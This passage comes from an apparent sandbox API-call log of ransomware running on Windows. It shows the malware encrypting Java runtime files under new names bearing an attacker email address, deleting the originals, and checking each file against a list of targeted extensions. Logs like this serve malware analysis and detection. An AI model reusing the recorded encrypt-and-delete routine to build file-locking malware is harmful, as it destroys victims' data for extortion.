returned 1 [0230.897] CloseHandle (hObject=0x484) returned 1 [0230.907] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0230.907] SetEndOfFile (hFile=0x468) returned 1 [0230.999] CloseHandle (hObject=0x468) returned 1 [0230.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0231.000] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1 [0231.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0231.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0231.000] lstrlenW (lpString=".doc") returned 4 [0231.000] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0231.001] lstrlenW (lpString=".docx") returned 5 [0231.001] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0231.001] lstrlenW (lpString=".pdf") returned 4 [0231.001] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0231.001] lstrlenW (lpString=".xls") returned 4 [0231.001] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0231.001] lstrlenW (lpString=".xlsx") returned 5 [0231.001] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0231.001] lstrlenW (lpString=".ppt") returned 4 [0231.001] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0231.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0231.001] lstrlenW (lpString=".zip") returned 4 [0231.001] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0231.001] lstrlenW (lpString=".rar") returned 4 [0231.001] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0231.003] lstrlenW (lpString=".bz2") returned 4 [0231.003] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0231.004] lstrlenW (lpString=".7z") returned 3 [0231.004] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0231.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0231.004] lstrlenW (lpString=".dbf") returned 4 [0231.004] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0231.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0231.004] lstrlenW (lpString=".1cd") returned 4 [0231.004] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0231.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0231.004] lstrlenW (lpString=".jpg") returned 4 [0231.004] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0231.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0231.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0231.004] lstrlenW (lpString=".doc") returned 4 [0231.004] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0231.004] lstrlenW (lpString=".docx") returned 5 [0231.004] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0231.004] lstrlenW (lpString=".pdf") returned 4 [0231.004] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0231.004] lstrlenW (lpString=".xls") returned 4 [0231.005] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0231.005] lstrlenW (lpString=".xlsx") returned 5 [0231.005] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0231.005] lstrlenW (lpString=".ppt") returned 4 [0231.005] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0231.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0231.005] lstrlenW (lpString=".zip") returned 4 [0231.005] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0231.005] lstrlenW (lpString=".rar") returned 4 [0231.005] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0231.005] lstrlenW (lpString=".bz2") returned 4 [0231.005] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0231.005] lstrlenW (lpString=".7z") returned 3 [0231.005] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0231.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0231.005] lstrlenW (lpString=".dbf") returned 4 [0231.005] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0231.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0231.005] lstrlenW (lpString=".1cd") returned 4 [0231.005] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0231.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0231.005] lstrlenW (lpString=".jpg") returned 4 [0231.005] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0231.006] lstrcmpiW (lpString1=".pf", lpString2=".love$") returned 1 [0231.006] lstrlenW (lpString="sRGB.pf") returned 7 [0231.006] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0231.007] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=3144) returned 1 [0231.007] CloseHandle (hObject=0x468) returned 1 [0231.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0231.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0231.007] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0231.008] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0231.008] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0231.008] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0231.009] GetLastError () returned 0x0 [0231.009] ReadFile (in: hFile=0x468, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xc48, lpOverlapped=0x0) returned 1 [0231.294] WriteFile (in: hFile=0x470, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xc50, lpOverlapped=0x0) returned 1 [0231.295] ReadFile (in: hFile=0x468, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0231.295] WriteFile (in: hFile=0x470, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xe2, lpOverlapped=0x0) returned 1 [0231.295] SetEndOfFile (hFile=0x470) returned 1 [0231.295] CloseHandle (hObject=0x470) returned 1 [0231.295] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0231.295] SetEndOfFile (hFile=0x468) returned 1 [0231.299] CloseHandle (hObject=0x468) returned 1 [0231.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0231.300] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1 [0231.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0231.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0231.301] lstrlenW (lpString=".doc") returned 4 [0231.301] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0231.301] lstrlenW (lpString=".docx") returned 5 [0231.301] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0231.301] lstrlenW (lpString=".pdf") returned 4 [0231.301] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0231.301] lstrlenW (lpString=".xls") returned 4 [0231.301] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0231.301] lstrlenW (lpString=".xlsx") returned 5 [0231.301] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0231.301] lstrlenW (lpString=".ppt") returned 4 [0231.301] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0231.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0231.301] lstrlenW (lpString=".zip") returned 4 [0231.301] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0231.301] lstrlenW (lpString=".rar") returned 4 [0231.301] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0231.301] lstrlenW (lpString=".bz2") returned 4 [0231.301] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0231.301] lstrlenW (lpString=".7z") returned 3 [0231.301] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0231.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0231.301] lstrlenW (lpString=".dbf") returned 4 [0231.301] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0231.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0231.301] lstrlenW (lpString=".1cd") returned 4 [0231.301] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0231.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0231.302] lstrlenW (lpString=".jpg") returned 4 [0231.302] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0231.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0231.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0231.302] lstrlenW (lpString=".doc") returned 4 [0231.302] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0231.302] lstrlenW (lpString=".docx") returned 5 [0231.302] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0231.302] lstrlenW (lpString=".pdf") returned 4 [0231.302] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0231.302] lstrlenW (lpString=".xls") returned 4 [0231.302] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0231.302] lstrlenW (lpString=".xlsx") returned 5 [0231.302] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0231.302] lstrlenW (lpString=".ppt") returned 4 [0231.302] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0231.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0231.302] lstrlenW (lpString=".zip") returned 4 [0231.302] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0231.302] lstrlenW (lpString=".rar") returned 4 [0231.302] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0231.302] lstrlenW (lpString=".bz2") returned 4 [0231.302] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0231.302] lstrlenW (lpString=".7z") returned 3 [0231.302] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0231.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0231.303] lstrlenW (lpString=".dbf") returned 4 [0231.303] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0231.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0231.303] lstrlenW (lpString=".1cd") returned 4 [0231.303] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0231.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0231.303] lstrlenW (lpString=".jpg") returned 4 [0231.303] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0231.303] lstrcmpiW (lpString1=".data", lpString2=".love$") returned -1 [0231.303] lstrlenW (lpString="currency.data") returned 13 [0231.303] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0231.304] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=4122) returned 1 [0231.304] CloseHandle (hObject=0x468) returned 1 [0231.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0231.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0231.304] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0231.305] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0231.305] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0231.305] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0231.306] GetLastError () returned 0x0 [0231.306] ReadFile (in: hFile=0x468, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x101a, lpOverlapped=0x0) returned 1 [0231.338] WriteFile (in: hFile=0x470, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x1020, lpOverlapped=0x0) returned 1 [0231.340] ReadFile (in: hFile=0x468, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0231.340] WriteFile (in: hFile=0x470, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xee, lpOverlapped=0x0) returned 1 [0231.340] SetEndOfFile (hFile=0x470) returned 1 [0231.397] CloseHandle (hObject=0x470) returned 1 [0231.404] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0231.405] SetEndOfFile (hFile=0x468) returned 1 [0231.432] CloseHandle (hObject=0x468) returned 1 [0231.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0231.659] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1 [0231.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0231.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0231.983] lstrlenW (lpString=".doc") returned 4 [0231.983] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0231.983] lstrlenW (lpString=".docx") returned 5 [0231.983] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0231.983] lstrlenW (lpString=".pdf") returned 4 [0231.983] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0231.983] lstrlenW (lpString=".xls") returned 4 [0231.983] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0231.983] lstrlenW (lpString=".xlsx") returned 5 [0231.983] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0231.983] lstrlenW (lpString=".ppt") returned 4 [0231.983] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0231.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0231.983] lstrlenW (lpString=".zip") returned 4 [0231.983] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0231.983] lstrlenW (lpString=".rar") returned 4 [0231.983] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0231.983] lstrlenW (lpString=".bz2") returned 4 [0231.983] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0231.983] lstrlenW (lpString=".7z") returned 3 [0231.983] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0231.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0231.984] lstrlenW (lpString=".dbf") returned 4 [0231.984] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0231.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0231.984] lstrlenW (lpString=".1cd") returned 4 [0231.984] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0231.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0231.984] lstrlenW (lpString=".jpg") returned 4 [0231.984] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0231.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0231.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0231.984] lstrlenW (lpString=".doc") returned 4 [0231.984] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0231.984] lstrlenW (lpString=".docx") returned 5 [0231.984] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0231.984] lstrlenW (lpString=".pdf") returned 4 [0231.984] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0231.984] lstrlenW (lpString=".xls") returned 4 [0231.984] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0231.984] lstrlenW (lpString=".xlsx") returned 5 [0231.984] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0231.984] lstrlenW (lpString=".ppt") returned 4 [0231.984] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0231.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0231.984] lstrlenW (lpString=".zip") returned 4 [0231.984] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0231.984] lstrlenW (lpString=".rar") returned 4 [0231.985] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0231.985] lstrlenW (lpString=".bz2") returned 4 [0231.985] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0231.985] lstrlenW (lpString=".7z") returned 3 [0231.985] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0231.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0231.985] lstrlenW (lpString=".dbf") returned 4 [0231.985] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0231.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0231.985] lstrlenW (lpString=".1cd") returned 4 [0231.985] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0231.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0231.985] lstrlenW (lpString=".jpg") returned 4 [0231.985] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0231.985] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0231.985] lstrlenW (lpString="messages_es.properties") returned 22 [0231.985] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0232.079] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=3600) returned 1 [0232.079] CloseHandle (hObject=0x47c) returned 1 [0232.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0232.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.083] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0232.084] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0232.084] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0232.084] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0232.086] GetLastError () returned 0x0 [0232.086] ReadFile (in: hFile=0x47c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xe10, lpOverlapped=0x0) returned 1 [0232.091] WriteFile (in: hFile=0x46c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xe20, lpOverlapped=0x0) returned 1 [0232.093] ReadFile (in: hFile=0x47c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0232.093] WriteFile (in: hFile=0x46c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x100, lpOverlapped=0x0) returned 1 [0232.093] SetEndOfFile (hFile=0x46c) returned 1 [0232.093] CloseHandle (hObject=0x46c) returned 1 [0232.093] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0232.093] SetEndOfFile (hFile=0x47c) returned 1 [0232.096] CloseHandle (hObject=0x47c) returned 1 [0232.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0232.097] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1 [0232.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0232.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0232.098] lstrlenW (lpString=".doc") returned 4 [0232.098] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.098] lstrlenW (lpString=".docx") returned 5 [0232.098] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.098] lstrlenW (lpString=".pdf") returned 4 [0232.098] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.098] lstrlenW (lpString=".xls") returned 4 [0232.098] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.098] lstrlenW (lpString=".xlsx") returned 5 [0232.098] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.098] lstrlenW (lpString=".ppt") returned 4 [0232.098] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0232.098] lstrlenW (lpString=".zip") returned 4 [0232.098] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.098] lstrlenW (lpString=".rar") returned 4 